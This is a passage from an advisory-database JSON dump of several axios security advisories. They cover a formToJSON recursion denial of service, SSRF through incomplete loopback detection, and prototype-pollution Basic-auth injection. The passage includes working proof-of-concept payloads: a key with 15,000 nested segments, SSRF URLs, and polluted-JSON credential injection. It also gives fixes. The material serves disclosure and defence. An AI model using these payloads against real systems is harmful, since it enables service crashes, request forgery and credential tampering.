`a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n  formToJSON(fd);\n  console.log(\"not vulnerable\");\n} catch (err) {\n  console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n  .post(\"http://127.0.0.1:1/\", fd, {\n    headers: { \"Content-Type\": \"application/json\" }\n  })\n  .catch((err) =\u003e console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) — fails for 0.0.0.0\n  → isLoopback (line 44) — wraps both checks, returns false\n    → shouldBypassProxy (line 127) — PUBLIC API, exported default\n      → lib/adapters/http.js (line 190) — Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\n// Normal loopback — correctly returns true (bypasses proxy)\nshouldBypassProxy('http://127.0.0.1:9999/');  // → true\n\n// Vulnerable — returns false (goes through proxy!)\nshouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF\nshouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF\nshouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: 'proxy', port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited — depends on internal service behavior\n\n### Likelihood\n- **High** — proxy bypass is a common pattern in microservice architectures\n- **Medium** — requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n  if (host === '0.0.0.0') return true;  // ADD THIS LINE\n  const parts = host.split('.');\n  if (parts.length !== 4) return false;\n  if (parts[0] !== '127') return false;\n  return parts.every(p =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n}\n\nfunction isIPv6Loopback(host) {\n  if (host === '::1' || host === '::') return true;  // ADD '::'\n  // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T17:58:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67313","https://nvd.nist.gov/vuln/detail/CVE-2026-68942","https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson","https://github.com/advisories/GHSA-42h9-826w-cgv3"],"source_kind":"github","identifiers":["GHSA-42h9-826w-cgv3","CVE-2026-67313"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T18:00:08.823Z","updated_at":"2026-09-25T12:01:49.695Z","epss_percentage":0.00521,"epss_percentile":0.41722,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.28.0, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP","url":"https://github.com/advisories/GHSA-xj6q-8x83-jv6g","title":"Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n  headers.set(\n    'Authorization',\n    'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n  );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log({\n    url: req.url,\n    authorization: req.headers.authorization || null\n  });\n\n  res.end('{}');\n  server.close(() =\u003e {\n    delete Object.prototype.username;\n    delete Object.prototype.password;\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n    auth: {}\n  });\n});\n```\n\nExpected output:\n\n```json\n{\n  \"url\": \"/api\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth');         // ← top-level guard OK\nif (configAuth) {\n    const username = configAuth.username || '';   // ← reads .username on the inherited chain\n    const password = configAuth.password || '';   // ← reads .password on the inherited chain\n    auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth');               // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n//   ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n    buildFullPath(baseURL, url, allowAbsoluteUrls),\n    config.params,            // ← direct read, not through own()\n    config.paramsSerializer   // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n  for (const k of PROTO_KEYS) {\n    try { delete Object.prototype[k]; } catch (_) {}\n  }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n  \"constructor\": {\n    \"prototype\": {\n      \"username\": \"victim-user\",\n      \"password\": \"victim-password-leaked\",\n      \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n    }\n  }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n//   After this line:\n//     Object.prototype.username  === \"victim-user\"\n//     Object.prototype.password  === \"victim-password-leaked\"\n//     Object.prototype.params    === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n  console.log('=== captured outbound request ===');\n  console.log(JSON.stringify({\n    method: req.method,\n    url: req.url,\n    authorization: req.headers.authorization || null,\n  }, null, 2));\n  res.end('{}');\n  server.close();\n  scrub();\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n  const port = server.address().port;\n\n  // 4) Realistic application wrapper: optional per-call overrides.\n  //    `auth: opts.auth || {}` is the common pattern — empty own object,\n  //    but inherited values walk the prototype chain.\n  function makeRequest(targetUrl, opts = {}) {\n    return axios.get(targetUrl, {\n      timeout: 5000,\n      auth: opts.auth || {},\n      params: opts.params || {},\n    });\n  }\n\n  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n    console.error('axios error:', e.message);\n    scrub();\n    process.exit(1);\n  });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n  request. If the request URL is attacker-influenced too (common in\n  webhook/oauth-callback patterns), the credentials flow directly to\n  the attacker. If not, they flow to the legitimate destination but\n  expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n  `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n  function, axios will execute that function with each `params`\n  invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n  precondition is \"deep-merges attacker JSON into a config object\n  without `__proto__`/`constructor` filtering, then uses the empty-\n  fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n  Both halves are very common in real codebases (we tested\n  `defaults-deep`, hand-rolled merges, and several lodash-family\n  utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n  Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n       const configAuth = own('auth');\n       if (configAuth) {\n-        const username = configAuth.username || '';\n-        const password = configAuth.password || '';\n+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n         auth = username + ':' + password;\n       }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n   // HTTP basic authentication\n   if (auth) {\n+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n     headers.set(\n       'Authorization',\n       'Basic ' +\n-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n     );\n   }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n  findings. The bundle's public tracking entry (without the working\n  exploit chain) is at\n  [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n  prefer to fold this into open PR #10922 (whose author is actively\n  responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n  requires a separate prototype-pollution primitive elsewhere in the\n  host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n  PR #10833 were framed too, so the precedent for \"in-scope as a\n  hardening fix\" is established.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T17:51:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67314","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields","https://github.com/advisories/GHSA-xj6q-8x83-jv6g"],"source_kind":"github","identifiers":["GHSA-xj6q-8x83-jv6g","CVE-2026-67314"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T18:00:08.823Z","updated_at":"2026-09-25T12:01:49.696Z","epss_percentage":0.00411,"epss_percentile":0.32567,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO","url":"https://github.com/advisories/GHSA-pmv8-rq9r-6j72","title":"Axios: Deep formToJSON Key Recursion Can Cause Denial of Service","description":"## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `\u003c=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from 'axios';\n\nconst fd = new FormData();\nfd.append('a' + '[x]'.repeat(15000), 'value');\n\ntry {\n  axios.formToJSON(fd);\n  console.log('not vulnerable');\n} catch (e) {\n  console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82.\n\n`buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50–82\nfunction buildPath(path, value, target, index) {\n  let name = path[index++];              // advance one level\n  if (name === '__proto__') return true;\n  // ...\n  if (!isLast) {\n    // ...\n    const result = buildPath(path, value, target[name], index);  // recurse — NO depth guard\n    // ...\n  }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n   ```javascript\n   return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n   ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';\n\n// Build a FormData with a single key containing 15,000 